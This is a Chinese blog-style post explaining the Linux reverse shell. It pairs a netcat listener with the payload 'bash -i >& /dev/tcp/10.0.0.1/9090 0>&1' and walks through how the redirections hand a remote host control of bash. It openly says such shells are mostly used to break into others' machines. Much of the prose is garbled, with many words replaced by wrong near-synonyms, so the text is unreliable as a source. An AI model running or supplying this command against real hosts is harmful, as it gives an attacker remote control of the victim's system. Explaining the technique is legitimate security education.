- nc -lk 9090
今天在看spark stream的sample样例的时刻看到linux的万金油敕令nc。搜刮相干的内容忽然发明一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell
1. 什么是反弹shell
简单来说就是A主机可以经由过程履行B主机上的敕令并且把返回值都返回到A上。
2. 反弹shell的用处
3. 反弹shell操作步调
3.1. 在本机开启端口9090
3.2. 在须要被控制的机械上履行如下两种敕令中的一种即可
- bash -i >& /dev/tcp/10.0.0.1/9090 0>&1
3.3. 在本机刚才履行nc -lk 9090敕令行下面输入须要被控制的主机的敕令即可

参考文┞仿 https://edu.aqniu.com/article/67
4. 道理
- A主机开启9090端口的tcp办事
- B主机连接到A主机的9090的tcp办事
- A主机经由过程tcp办事把敕令发到B主机
- B主机攫取敕令并且在bash中履行
- B主机把履行结不雅发给A主机
如许就可以在A主机中'玩弄'B主机了
下面重点来了
我们看这个操作其实照样蛮简单的,然则我们不克不及只局限于外面。我们须要去懂得它的道理
其实nc -lk 9090敕令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。这条敕令在google也没搜出来什么结不雅。所以只能本身加夜班搞了。
inux shell下常用的文件描述符是:
- 标准输入 (stdin) :代码为 0 ,应用 < 或 << ;
- 标准输出 (stdout):代码为 1 ,应用 > 或 >> ;
- 标准缺点输出(stderr):代码为 2 ,应用 2> 或 2>>。
起首我们把这个敕令拆解一下
- bash -i # 这个也不知道说啥
- >& # 这条敕令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1`
- /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口
- 0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档
这个反弹shell大年夜部分用处是用来侵入别人的主机。就是因为感到很厉害的样子,所以才来研究这家伙
其实前面3个敕令组合在一路很好懂得,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大年夜家可以本身操作一下,去掉落后面的 0>&1。
我们在敕令琅绫擎写 2>&1都很好懂得,就是把error重定向到stdout。然则0>&1似乎不太好懂得,我们看下文件描述符
这里看到的是2>&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0>&1就是把 0对应的设备改成的1对应的设备,那也就是socket。这就注解了 stdin就是大年夜socket中攫取数据,然后再履行敕令,把bash的敕令行返回内容经由过程stdout发到socket。
其拭魅这些内容都可以在bash的man pages琅绫擎找到

文档琅绫擎写的很清跋扈 n<&word 是吧word复制给n, n>&word是吧word复制给n。
所以这里写 0<&1 或者是 0>&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了
【编辑推荐】
- 应用敕令行对象创建Linux/Mac体系下的网站备份
- Linux体系开机启动项清理
- Ubuntu Linux的不合安装类型:办事器vs桌面
- Linux内核中的内存樊篱
- Linux 1.0之旅:回想这一切的开端

推荐阅读
云计算是一种新的计算方法,它依托于互联网,以收集技巧、分布式计算为基本,实现按需自办事、快速弹性构建、办事可测量等特点的新一代计算方法。然而,任何故互联网为基本的应用都存在着>>>详细阅读
本文标题:Linux反弹shell命令解析
地址:http://www.17bianji.com/lsqh/37119.html
1/2 1

网友点评
精彩导读
科技快报
品牌展示